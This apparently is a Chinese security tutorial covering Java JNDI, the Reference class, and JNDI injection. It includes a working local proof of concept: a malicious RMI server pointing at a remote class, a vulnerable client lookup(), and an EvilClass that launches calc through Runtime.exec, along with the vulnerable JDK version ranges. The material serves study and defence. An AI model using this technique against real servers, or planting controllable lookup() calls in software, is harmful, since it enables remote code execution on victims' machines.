JNDI(Java Naming and Directory Interface)
是Java
提供的Java
命名和目录接口。通过调用JNDI
的API
可以定位资源和其他程序对象。
命名服务将名称和对象联系起来,使得我们可以用名称访问对象
jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端:
有这么几个关键元素
这些命名/目录服务提供者:
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
在Java JDK
里面提供了5个包,提供给JNDI
的功能实现,分别是:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
构造方法:
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法:
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
示例:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
// 构建初始上下文
InitialContext initialContext = new InitialContext();
// 查询命名对象
String uri = "rmi://127.0.0.1:1099/work";
initialContext.lookup(uri);
}
}
Reference
类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI
服务器上的对象为Reference
类或者其子类时,则可以从其他服务器上加载class字节码
文件来实例化。
构造方法:
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法:
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
示例:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
这里创建完Reference
后又调用了ReferenceWrapper
将其传进去了,为什么这么做呢?
因为我们前面学习RMI
的时候,将类注册到Registry
使用的类必须继承UnicastRemoteObject
类以及实现Remote
接口
但是我们这里Reference
没有满足,所以需要使用ReferenceWrapper
将其封装一下
public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
JNDI注入的过程如下:
InitialContext.lookup(url)
并且url可以被输入控制,指向精心构造好的RMI服务地址object factory
,通过factory.getObjectInstance()
获取外部远程对象的实例getObjectInstance()
方法等处写入恶意代码,达到远程代码执行的效果ObjectFactory
接口具体攻击流程图:
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
JDK 6u132
、7u122
、8u113
之前可以
首先搭建一个服务端:RMIServer
服务端的创建,按步骤来
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:1098/";
Reference reference = new Reference("EvilClass", "EvilClass", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("class",referenceWrapper);
}
}
然后搭建一个客户端RMIClient
(客户端也是受害端):
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
String url = "rmi://127.0.0.1:1099/class";
context.lookup(url);
}
}
然后需要创建一个恶意类:
实现ObjectFactory
接口,把恶意代码写在getObjectInstance
里面
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static {
System.out.println("hello,static~");
}
public EvilClass() throws IOException {
System.out.println("constructor~");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello,getObjectInstance~");
return null;
}
}
搭建好了以后我们首先运行服务端:(注意jdk版本)
然后我们将EvilClass
编译一下,使用python开启一个http服务:
接着我们运行客户端RMIClient:
我们发现已经成功执行代码了,并且是在客户端执行的
可以参考这张思维导图: